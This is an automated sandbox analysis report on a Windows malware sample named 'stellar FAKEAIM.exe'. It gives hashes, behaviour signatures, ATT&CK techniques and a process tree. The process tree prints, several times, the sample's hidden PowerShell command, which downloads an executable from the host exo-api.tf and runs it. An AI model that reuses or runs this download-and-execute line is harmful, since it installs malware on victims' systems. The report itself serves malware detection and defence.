9265fac43298fe9dd70df817c6403be8aa73ade932b6ee150150513c1cd19da7

Analysis

max time kernel
148s
max time network
120s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/09/2026, 01:57

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General

Target
stellar FAKEAIM.exe
Size 381KB
Sample260924-cdckxsbf85
SHA256 9265fac43298fe9dd70df817c6403be8aa73ade932b6ee150150513c1cd19da7
MD5 3fb9eab949a2d9d8eedaafc48f914254
SHA1 7b487a51e4562021db9572b82e5aad1f2b63fa38
SHA512 db70b92d6539d93b748263c9c30ec6f839bafc077a7fa689122e5ed8e44b033c504a2f8477a7db70cd76a5cf7c3ccc4150a5f1378a4e59c939bdc9304077db6e
SSDEEP 6144:gUr4I6ZNlyudJIQOqzsZPr+X5yH2Bx1lnYgpo6644ecF1DnPIvVPv7U:CtN7oIBygfMDnEU
TLSH
T177848D82F2F444E9E06B6079957BA35BF9B5344C031056CF73E445482BF3AE2AAFA351
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4556	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4556	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
2	4556	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5276	BK811778.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4584	cmd.exe
4352	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4556	powershell.exe
4556	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4908	stellar FAKEAIM.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4556	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4908 wrote to memory of 4584	4908	stellar FAKEAIM.exe	91
PID 4584 wrote to memory of 4352	4584	cmd.exe	92
PID 4352 wrote to memory of 4556	4352	cmd.exe	94
PID 4556 wrote to memory of 5276	4556	powershell.exe	95

C:\Users\Admin\AppData\Local\Temp\stellar FAKEAIM.exe
"C:\Users\Admin\AppData\Local\Temp\stellar FAKEAIM.exe"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:4908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_pyGEG7' -OutFile $env:APPDATA\BK811778.exe; Start-Process -FilePath $env:APPDATA\BK811778.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4584
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_pyGEG7' -OutFile $env:APPDATA\BK811778.exe; Start-Process -FilePath $env:APPDATA\BK811778.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_pyGEG7' -OutFile $env:APPDATA\BK811778.exe; Start-Process -FilePath $env:APPDATA\BK811778.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4556
    - - C:\Users\Admin\AppData\Roaming\BK811778.exe
        
        "C:\Users\Admin\AppData\Roaming\BK811778.exe"
        5⤵
        Executes dropped EXE
        
        PID:5276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:6124

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

BK811778.exe

Path C:\Users\Admin\AppData\Roaming\BK811778.exe
Size 277KB
SHA256 600fd59a6114e08606f4bbc881c1c156193ff01371e1144a05ca787d365e067d
MD5 d712be26fe4bbd0ee1fc9156ea74b705
SHA1 0d73d709f61dcd7d58984dd154c50b925049689c
SHA512 cf5fbb98d408768300e56b6ae809af0dfd4366c47e95ee9e40602ed4827b6f6b4b76cda089ba7561d64bf38bdc64025c9f057e92854808f0b5cf790c1e19868e
SSDEEP 3072:cHg0HbTE/QaJkcHVqJr3NPAG0geM4tO/URydJ/28S2sQdJ1:cHgETakcMJrJ3H4cdJ/B/dJ
TLSH
T1CD547369EF48AC5AD4FB98FB78112A3ED0D0543787F079EA84C2097D5A0885F17FAD90
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4556-11-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-13-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-4-0x0000027543200000-0x0000027543222000-memory.dmp

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memory/4556-6-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-7-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-8-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-9-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-0-0x00007FFB23A5F000-0x00007FFB23A60000-memory.dmp

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memory/4556-5-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-10-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-12-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-14-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-15-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-16-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-17-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-18-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-1-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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memory/4556-28-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

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